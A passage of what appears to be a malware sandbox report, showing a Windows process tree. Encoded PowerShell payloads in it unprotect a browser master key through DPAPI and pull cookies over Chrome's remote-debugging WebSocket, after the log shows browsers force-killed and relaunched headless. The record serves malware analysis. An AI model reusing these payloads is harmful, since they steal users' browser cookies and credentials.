B2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4076
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:6472
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:2888
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                taskkill /F /IM chrome.exe
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                PID:1912
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:6496
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /F /IM msedge.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:2220
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:1708
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill /F /IM brave.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:4784
                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9713 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                  PID:2588
                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb530ec728,0x7ffb530ec734,0x7ffb530ec740
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:4104
                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:2
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:2520
                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:11
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • System Time Discovery
                                                                                                                                                                                                                                                                                                        PID:1272
                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2480 /prefetch:13
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:6380
                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9713 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                          PID:5588
                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9713 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:1
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                          PID:6256
                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9713 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:1
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                          PID:6936
                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1968,i,17226751097112916825,880441967797912478,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:4464
                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9745 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                          PID:4184
                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x290,0x7ffb47d5c188,0x7ffb47d5c194,0x7ffb47d5c1a0
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:1528
                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:2
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1248
                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:11
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                • System Time Discovery
                                                                                                                                                                                                                                                                                                                PID:6228
                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2816 /prefetch:13
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:5544
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9745 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                  PID:3412
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9745 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                  PID:1140
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:14
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:616
                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:14
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:3928
                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:14
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:3824
                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2616,i,1211852915485784971,9708324926122578050,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:14
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:5304
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADcAMQAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA3ADEAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAA